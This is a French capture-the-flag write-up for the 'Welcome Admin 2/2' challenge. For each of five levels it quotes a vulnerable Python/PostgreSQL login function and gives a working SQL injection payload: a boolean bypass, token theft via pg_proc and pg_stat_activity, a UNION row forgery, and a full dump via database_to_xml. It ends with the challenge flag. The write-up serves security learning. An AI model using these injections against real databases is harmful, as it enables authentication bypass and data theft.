Le challenge “Welcome Admin 2/2” est composé de plusieurs niveaux, chacun nécessitant l’exploitation de vulnérabilités SQL pour accéder à des fonctionnalités réservées aux administrateurs. La base de données utilisée est PostgreSQL, comme indiqué dans le fichier docker-compose.yml
.
Après qu’on a extrait welcome-admin.tar.xz
, on commence l’analyse du script python welcome-admin.py
Niveau 1 : ADMIN
Code concerné :
@app.route("/", methods=["GET", "POST"])
@login_for(Rank.GUEST, Rank.ADMIN, "/admin")
def level1(cursor: cursor, password: str):
token = os.urandom(16).hex()
cursor.execute(f"SELECT '{token}' = '{password}'")
row = cursor.fetchone()
if not row:
return False
if len(row) != 1:
return False
return bool(row[0])
Payload
' or 1=1 --
Niveau 2 : SUPER_ADMIN
Code concerné :
@app.route("/admin", methods=["GET", "POST"])
@login_for(Rank.ADMIN, Rank.SUPER_ADMIN, "/super-admin", FIRST_FLAG)
def level2(cursor: cursor, password: str):
token = os.urandom(16).hex()
cursor.execute(
f"""
CREATE FUNCTION check_password(_password text) RETURNS text
AS $$
BEGIN
IF _password = '{token}' THEN
RETURN _password;
END IF;
RETURN 'nope';
END;
$$
IMMUTABLE LANGUAGE plpgsql;
"""
)
cursor.execute(f"SELECT check_password('{password}')")
row = cursor.fetchone()
if not row:
return False
if len(row) != 1:
return False
return row[0] == token
Exploitation
Le token est stocké dans la fonction check_password
, créée dynamiquement.
Les informations sur les fonctions PostgreSQL sont accessibles via la table système pg_proc
.
En injectant une requête SQL dans le champ password, on peut extraire le token depuis pg_proc
.
Payload
' || (SELECT substring(prosrc, 60, 32) FROM pg_proc WHERE proname = 'check_password')) --
Le token est récupéré, et l’accès au niveau suivant (/super-admin) est débloqué.
Niveau 3 : HYPER_ADMIN
Code concerné :
@app.route("/super-admin", methods=["GET", "POST"])
@login_for(Rank.SUPER_ADMIN, Rank.HYPER_ADMIN, "/hyper-admin")
def level3(cursor: cursor, password: str):
token = os.urandom(16).hex()
cursor.execute(f"SELECT '{token}', '{password}';")
row = cursor.fetchone()
if not row:
return False
if len(row) != 2:
return False
return row[1] == token
Exploitation
Le token est inclus directement dans la requête SQL.
La vue pg_stat_activity
contient les requêtes SQL en cours d’exécution.
En injectant une requête SQL, on peut extraire le token depuis pg_stat_activity
.
Payload
___' union select SUBSTR((select query FROM pg_stat_activity where query like 'SELECT ''%' order by 1 ASC limit 1), 9, 32), SUBSTR((select query FROM pg_stat_activity where query like 'SELECT ''%' order by 1 ASC limit 1), 9, 32) order by 2 DESC limit 1 --
Le token est récupéré, et l’accès au niveau suivant (/hyper-admin) est débloqué.
Niveau 4 : TURBO_ADMIN
Code concerné :
@app.route("/hyper-admin", methods=["GET", "POST"])
@login_for(Rank.HYPER_ADMIN, Rank.TURBO_ADMIN, "/turbo-admin")
def level4(cursor: cursor, password: str):
cursor.execute(f"""SELECT md5(random()::text), '{password}';""")
row = cursor.fetchone()
if not row:
return False
if len(row) != 2:
return False
return row[0] == row[1]
Exploitation
La requête retourne deux colonnes : une valeur MD5 aléatoire et le mot de passe fourni.
En utilisant UNION
, on peut ajouter une ligne où les deux colonnes ont la même valeur.
En combinant cela avec ORDER BY
, on s’assure que cette ligne est retournée en premier.
Payload
___' union select '1', '1' order by 2 DESC limit 1 --
La condition est satisfaite, et l’accès au niveau suivant (/turbo-admin) est débloqué.
Niveau 5 : FLAG
Code concerné :
@app.route("/turbo-admin", methods=["GET", "POST"])
@login_for(Rank.TURBO_ADMIN, Rank.FLAG, "/flag")
def level5(cursor: cursor, password: str):
table_name = "table_" + os.urandom(16).hex()
col_name = "col_" + os.urandom(16).hex()
token = os.urandom(16).hex()
cursor.execute(
f"""
CREATE TABLE "{table_name}" (
id serial PRIMARY KEY,
"{col_name}" text
);
INSERT INTO "{table_name}"("{col_name}") VALUES ('{token}');
"""
)
cursor.execute(f"SELECT '{password}';")
row = cursor.fetchone()
print(row)
if not row:
return False
if len(row) != 1:
return False
return row[0] == token
Exploitation
Le token est inséré dans une table dont le nom et les colonnes sont aléatoires.
La fonction database_to_xml
permet de dumper le contenu de la base de données au format XML.
En injectant une requête SQL, on peut extraire le token depuis ce dump.
Payload
' || substr(database_to_xml(true, true,' ')::text, 178, 32) --
Le token est récupéré, et l’accès au niveau final (/flag) est débloqué. La page /flag
affiche le message suivant :
Congratulations! The flag is: FCSC{a380e590ae8ffe8da9bb86f27d05203b7f9d32dd37c833c2764097840848b3a2}